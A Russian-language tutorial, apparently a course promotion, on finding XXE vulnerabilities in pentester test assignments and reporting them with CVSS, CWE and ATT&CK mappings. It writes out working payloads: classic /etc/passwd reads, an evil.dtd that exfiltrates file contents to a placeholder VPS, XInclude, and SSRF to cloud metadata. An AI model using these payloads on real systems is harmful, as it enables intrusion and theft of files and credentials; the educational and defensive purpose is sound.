Тестовое задание на пентестера: XXE уязвимость — за что срезают баллы

На тестовом задании для позиции junior WAPT (Web Application Penetration Tester — пентестер веб-приложений) я нашёл XXE за двадцать минут: отправил payload с SYSTEM "file:///etc/passwd" через Burp Repeater, увидел содержимое файла в ответе и вставил скриншот в отчёт. Результат — 40% от максимального балла. Обратная связь от проверяющего уместилась в три пункта: «не проверил blind-вариант», «нет CVSS-вектора», «рекомендация — копипаст». Обидно? Ещё как. Через полгода я сам принимал такие задания — и увидел ту же картину у большинства кандидатов. Ниже — разбор каждой ошибки с конкретными payload, структурой отчёта по уязвимости и чек-листом для самопроверки.
Что проверяют в тестовом задании пентестера веб-приложений
Типичный формат: стенд с уязвимым приложением, 2–4 часа на работу, отчёт в свободной форме. Кандидат думает, что оценивают скорость нахождения бага. Проверяющий смотрит на другое.
Полнота покрытия. Не «нашёл или нет», а какие варианты XXE (XML External Entity — атака через подстановку внешних сущностей в XML-документ) кандидат проверил. Classic, blind, через загрузку файлов, через подмену Content-Type — это разные сценарии с разными предпосылками. Проверять нужно каждый.
Методология. Действовал ли кандидат по OWASP Testing Guide или тыкал payload наугад. Методология OWASP подразумевает последовательный перебор всех точек входа XML, а не проверку только очевидных.
Качество отчёта. Скриншот и два предложения — это не отчёт по уязвимости. Нужны: CVSS-вектор (числовая оценка критичности по стандартной шкале от 0 до 10), привязка к CWE (каталог типов уязвимостей, где каждый номер идентифицирует конкретный класс ошибки) и MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1190 — идентификаторы конкретных техник), описание business impact и рекомендации под конкретный стек приложения.
Зачем атакующему XXE? Сама по себе она не конечная цель, а инструмент эскалации. Прочитал конфиг — достал пароль от БД — получил клиентские данные. Или прочитал приватный SSH-ключ — залогинился на сервер. В терминах ATT&CK цепочка выглядит так: T1190 (Exploit Public-Facing Application — начальный доступ через публичное приложение) → T1005 (Data from Local System — сбор данных с локальной системы) → T1552.001 (Credentials In Files — учётные данные в файлах) или T1552.004 (Private Keys — кража приватных ключей). Кандидат, который показывает эту цепочку в отчёте, получает дополнительные баллы — проверяющий видит, что человек понимает бизнес-логику атаки, а не просто вставил payload из чит-шита.
Ошибки при поиске XXE уязвимости, за которые снижают оценку
Остановились на classic XXE — не проверили blind-сценарий
Самая частая ошибка. Кандидат отправляет <!ENTITY xxe SYSTEM "file:///etc/passwd">, видит содержимое файла в ответе, фиксирует находку — и переходит к следующей задаче. На реальном пентесте (и в грамотно составленном тестовом) приложение часто не возвращает значение сущности. Данные обрабатываются на бэкенде, в ответе — «200 OK» или ошибка без полезной информации.
Это blind XXE — «слепая» XXE-уязвимость. По данным PortSwigger, значительная часть реальных XXE именно blind: приложение парсит XML, но не отображает значения сущностей в ответе. Если кандидат не проверил blind-вариант, он мог пропустить уязвимость, специально заложенную на стенде.
Blind XXE проверяется через OOB-эксфильтрацию (Out-of-Band — данные уходят не в ответе приложения, а на внешний сервер атакующего). Для этого нужен Burp Collaborator (встроенный в Burp Suite Professional сервис, который фиксирует входящие DNS- и HTTP-запросы от целевого сервера) или бесплатный аналог вроде interactsh.
Пропустили XML внешние сущности в неочевидных форматах
Второй промах: кандидат проверяет только эндпоинты с явным XML в теле запроса. На деле XML прячется в неожиданных местах.
Загрузка файлов. DOCX, XLSX, SVG — внутри у них XML. Если приложение принимает аватарку в SVG, а серверная библиотека обработки изображений поддерживает XML-парсинг — вот вам точка входа для DTD-инъекции (внедрение вредоносного Document Type Definition, секции XML, через которую объявляются внешние сущности). По данным PortSwigger, даже если приложение ожидает PNG или JPEG, серверная библиотека может обработать SVG.
Подмена Content-Type. Некоторые REST API принимают данные в нескольких форматах. Попробуйте заменить Content-Type: application/json на application/xml и отправить тело в XML. По данным Intigriti, отдельные API неумышленно настроены на приём XML, хотя документация говорит только о JSON.
XInclude. Когда приложение встраивает пользовательский ввод в серверный XML-документ (например, в SOAP-запрос — формат обмена сообщениями, построенный на XML), вы не контролируете DOCTYPE. Зато работает XInclude — механизм XML для включения содержимого другого документа. Payload: <xi:include xmlns:xi="http://www.w3.org/2001/XInclude" parse="text" href="file:///etc/passwd"/>.
На тестовом задании обычно заложено 2–3 точки входа. Кандидат, нашедший только очевидную, теряет баллы за неполноту покрытия.
Ошибки в отчёте по пентесту: нет CVSS и привязки к стеку
Типичный отчёт проваленного кандидата: «Найдена XXE-уязвимость. Рекомендация: отключить обработку внешних сущностей». Тут три проблемы.
Нет CVSS-вектора. Для XXE с чтением файлов через сеть без аутентификации вектор CVSS 3.1 выглядит так: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. Если видите эту строку впервые — расшифровка: AV:N — атака по сети, AC:L — низкая сложность эксплуатации, PR:N — привилегии не нужны, UI:N — действий пользователя не требуется, C:H — высокий ущерб конфиденциальности, I:N и A:N — целостность и доступность не затронуты. Итоговый скор: 7.5 (High). Если XXE позволяет SSRF (Server-Side Request Forgery — атака, при которой сервер отправляет запросы по адресу атакующего) к внутренним сервисам, impact выше.
Нет CWE и ATT&CK. XXE — это CWE-611 (Improper Restriction of XML External Entity Reference). По классификации OWASP входит в категорию A05:2021 — Security Misconfiguration. Последствия CWE-611 бьют по трём направлениям: утечка данных приложения (Read Application Data), обход защитных механизмов (Bypass Protection Mechanism), DoS через исчерпание ресурсов (DoS: Resource Consumption).
Рекомендация не привязана к стеку. «Отключите внешние сущности» — верно, но бесполезно без конкретики. Для Java: DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true). Для Python: библиотека defusedxml вместо стандартного xml.etree. Для .NET: XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit. Проверяющий хочет видеть fix, который разработчик может скопировать в код.
Эксплуатация XXE на практике: делай раз, делай два, делай три
Пошаговый разбор: как правильно тестировать XXE уязвимость на тестовом задании. Предпосылки: установлен Burp Suite (Community или Professional), есть доступ к стенду, базовое понимание HTTP-запросов.
Разведка — находим все XML-эндпоинты
Зачем: определить все точки, где приложение принимает XML, прежде чем отправлять payload. Без этого шага вы проверите один эндпоинт и пропустите остальные — а на стенде их обычно несколько.
- Пройдите приложение через Burp Proxy — совершите все доступные действия (логин, формы, загрузка файлов, API-вызовы). Burp запишет HTTP-трафик.
- В HTTP History отфильтруйте запросы по Content-Type, содержащему
xmlилиsoap. Каждый такой запрос — потенциальная точка входа. - Для JSON-эндпоинтов попробуйте в Repeater заменить
Content-Type: application/jsonнаapplication/xmlи отправить тело в XML. Если сервер вернул не415 Unsupported Media Type, а что-то другое — эндпоинт принимает XML. - Проверьте загрузку файлов: отправьте простой SVG без payload (просто
<svg xmlns="..."><text>test</text></svg>). Если сервер обработал — это вектор для XXE через файл. - Зафиксируйте результат: таблица с URL, методом и форматом тела для каждого XML-эндпоинта. Эта таблица потом пойдёт в отчёт.
Classic XXE — чтение файлов через внешнюю SYSTEM-сущность
Зачем: проверить самый прямой вариант — парсер раскрывает внешние сущности и возвращает результат в ответе.
Отправьте в Burp Repeater запрос на найденный XML-эндпоинт. Замените тело на:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
<!DOCTYPE foo [...]> — DTD, секция XML для объявления сущностей. Ключевое слово SYSTEM указывает парсеру загрузить содержимое файла. Ссылка &xxe; в теле документа подставляет это содержимое.
Ожидаемый результат: в ответе — строки из /etc/passwd вида root:x:0:0:root:/root:/bin/bash. Если ответ пустой или содержит ошибку без данных файла — переходите к blind-варианту.
Важный момент: элемент <data> замените на реальный элемент из легитимного запроса. Если приложение ожидает <productId>, используйте <productId>&xxe;</productId> — парсер подставит содержимое файла туда, где приложение ожидает данные. Шансы увидеть результат в ответе сразу вырастут.
Blind XXE — OOB exfiltration через внешний DTD
Зачем: вытащить данные, когда приложение не возвращает содержимое сущностей в ответе. А так бывает часто.
Предпосылки: внешний сервер (VPS), доступный из стенда, или Burp Collaborator в Professional-версии.
Техника использует параметрические сущности — тип XML-сущностей, объявляемых через %, которые работают только внутри DTD. Обычные сущности (&xxe;) фильтруются чаще, параметрические — реже.
Поднимите HTTP-сервер на VPS командой python3 -m http.server 8080 и создайте файл evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'http://YOUR-VPS:8080/?d=%file;'>">
%eval;
%exfil;
Сущность %file читает файл. Сущность %eval конструирует новую сущность %exfil, которая отправит HTTP-запрос с содержимым файла в параметре URL. Когда парсер обрабатывает DTD, он выполняет этот запрос — и данные утекают на ваш сервер.
Отправьте на целевой эндпоинт запрос с телом: <!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://YOUR-VPS:8080/evil.dtd"> %dtd;]><root>test</root>.
Как понять, что сработало: в терминале с python3 -m http.server появится строка GET /?d=webserver-01 (или другое содержимое файла). Запрос пришёл — blind XXE подтверждена, данные эксфильтрированы.
По данным GoSecure (XXE workshop), для многострочных файлов эффективнее FTP-протокол: HTTP обрезает данные на переносах строк, а FTP передаёт файл целиком через поле пароля. Если на тестовом задании нужно вытащить конфиг с несколькими строками — попробуйте и этот вариант.
Ещё один вектор для этого шага: SSRF через XXE. Вместо file:/// укажите URL внутреннего сервиса (http://169.254.169.254/latest/meta-data/ для облачных метаданных или http://localhost:8080/admin). Если сервер вернёт ответ — это отдельная уязвимость с потенциально критическим импактом (OWASP A10:2021 — Server-Side Request Forgery).
Отчёт по XXE уязвимости — пример структуры для тестового задания
Как пройти тестовое на пентестера — вопрос не только эксплуатации, но и качества отчёта. Ниже — структура, за которую дают полный балл.
Заголовок: XML External Entity (XXE) Injection — чтение произвольных файлов сервера.
Severity: High. CVSS 3.1 Base Score: 7.5. Вектор: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. Если XXE даёт SSRF к облачным метаданным — severity поднимается.
Классификация: CWE-611. OWASP A05:2021. MITRE ATT&CK: T1190 → T1005 → T1552.001.
Описание: Эндпоинт POST /api/import принимает XML с включённой обработкой внешних сущностей (DTD processing активен, external entities не ограничены). Атакующий объявляет внешнюю сущность, указывающую на файл, и получает содержимое в ответе или через OOB-канал.
PoC (Proof of Concept): конкретный HTTP-запрос из Burp Repeater — метод, URL, заголовки, тело с payload и ответ сервера в текстовом формате. Разработчик должен суметь воспроизвести по вашему описанию. Скриншот — дополнение, а не замена.
Impact: доступ к /etc/passwd, конфигурационным файлам (.env, application.properties), потенциальное чтение credentials базы данных и SSH-ключей (T1552.004). При SSRF — доступ к внутренним сервисам и IAM-credentials облачных провайдеров.
Рекомендации (привязанные к стеку приложения): отключить DTD processing и загрузку внешних сущностей на уровне парсера. Конкретные настройки для Java, Python, .NET — по стеку стенда. Внедрить XSD-валидацию (whitelist-схему) для входящего XML. Обновить XML-библиотеки до актуальных версий.
Для контекста: по данным Deepwatch, XXE-уязвимости обнаруживались в продуктах Snapchat (2014 — чтение локальных файлов через веб-сервисы) и Facebook (2013 — чтение /etc/passwd через developer platform). Обе были найдены через bug bounty. Даже крупнейшие компании допускают эту ошибку конфигурации парсера — так что на тестовом задании она тем более встретится.
Чек-лист пентестера веб-приложений для тестового задания на XXE
| Шаг | Проверка | Результат |
|---|---|---|
| 1 | Отфильтровать HTTP History по Content-Type: xml/soap | — |
| 2 | Попробовать подмену Content-Type на xml для JSON-эндпоинтов | — |
| 3 | Проверить формы загрузки файлов (SVG, DOCX, XLSX) | — |
| 4 | Отправить classic XXE с SYSTEM "file:///etc/passwd" |
— |
| 5 | Проверить blind XXE через Collaborator/interactsh | — |
| 6 | Попробовать XInclude для эндпоинтов без контроля DOCTYPE | — |
| 7 | Проверить SSRF через XXE: SYSTEM "http://169.254.169.254/" |
— |
| 8 | Попробовать параметрические сущности для обхода фильтров | — |
| 9 | Указать в отчёте CVSS-вектор, CWE-611, MITRE ATT&CK | — |
| 10 | Привязать рекомендации к конкретному стеку приложения | — |
Это минимум для тестового. На реальном пентесте добавляются проверки XXE через альтернативные кодировки (UTF-16, UTF-7 — если парсер их поддерживает), тестирование Billion Laughs (DoS через рекурсивное раскрытие сущностей, когда <!ENTITY e1 "&e;&e;..."> вызывает экспоненциальный рост потребления памяти) и second-order XXE (XML обрабатывается не сразу, а при последующем действии). По данным Intigriti, UTF-7-кодировка позволяет обойти фильтры, которые ищут паттерны <!ENTITY и SYSTEM только в UTF-8-представлении.
Собеседование WAPT — не CTF, где достаточно захватить флаг. Тестовое задание на пентестера проверяет системность мышления, а не умение гуглить payload. За полтора года проверки таких заданий я заметил устойчивый паттерн: кандидаты, которые показывают полную цепочку — разведка, classic XXE, blind XXE, SSRF через XXE, отчёт с ATT&CK-маппингом — получают офферы, даже если техника ещё сырая. Те, кто находит три уязвимости, но сдаёт отчёт из скриншотов без severity и remediation, уходят с фидбеком «доработать методологию».
Рынок переполнен людьми, умеющими запускать sqlmap и копировать payload из чит-шита. Дефицит — в тех, кто способен объяснить заказчику, почему конкретную XXE нужно закрывать до пятницы, а не «в следующем спринте». Отчёт — это продукт работы пентестера. Не скриншот с содержимым /etc/passwd, а документ, по которому разработчик воспроизводит проблему, оценивает риск и пишет fix.
Пока индустрия нанимает по тестовым заданиям — а реальной альтернативы пока нет — единственный способ выделиться: показать не только эксплуатацию, но и весь процесс вокруг неё. На WAPT подобные цепочки разбирают в лабах от разведки до отчёта — с ментором, который сам проверяет тестовые.
Эту тему и смежные навыки разбирают на практике в курсе «Тестирование веб-приложений на проникновение (WAPT)» Codeby Academy.